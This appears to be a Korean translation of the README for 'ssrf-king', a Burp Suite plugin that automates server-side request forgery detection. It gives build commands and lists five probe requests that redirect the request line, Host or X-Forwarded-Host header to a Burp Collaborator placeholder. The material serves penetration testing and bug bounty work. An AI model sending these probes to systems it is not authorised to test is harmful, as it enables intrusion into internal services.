ethicalhackingplayground/ssrf-kingBurp용 SSRF 플러그인 - 모든 요청에서 SSRF 탐지를 자동화합니다.
Burp용 SSRF 플러그인으로, 모든 요청에서 SSRF 탐지를 자동화합니다.
문제가 발생하거나 아래에 나열되지 않은 새로운 기능을 원하시면 아래 양식에 새 이슈를 생성해 주세요
git clone https://github.com/ethicalhackingplayground/ssrf-kinggradle build또한 다음 연구를 기반으로 다음과 같은 테스트를 수행합니다:
참고자료:
GET http://burpcollab/some/endpoint HTTP/1.1
Host: example.com
...
and
GET @burpcollab/some/endpoint HTTP/1.1
Host: example.com
...
and
GET /some/endpoint HTTP/1.1
Host: example.com:80@burpcollab
...
and
GET /some/endpoint HTTP/1.1
Host: burpcollab
...
and
GET /some/endpoint HTTP/1.1
Host: example.com
X-Forwarded-Host: burpcollab
...
이 지점부터는 SSRF를 테스트하기 위해 파라미터를 퍼징합니다.
현상금을 받으셨다면 커피 한 잔 사주세요
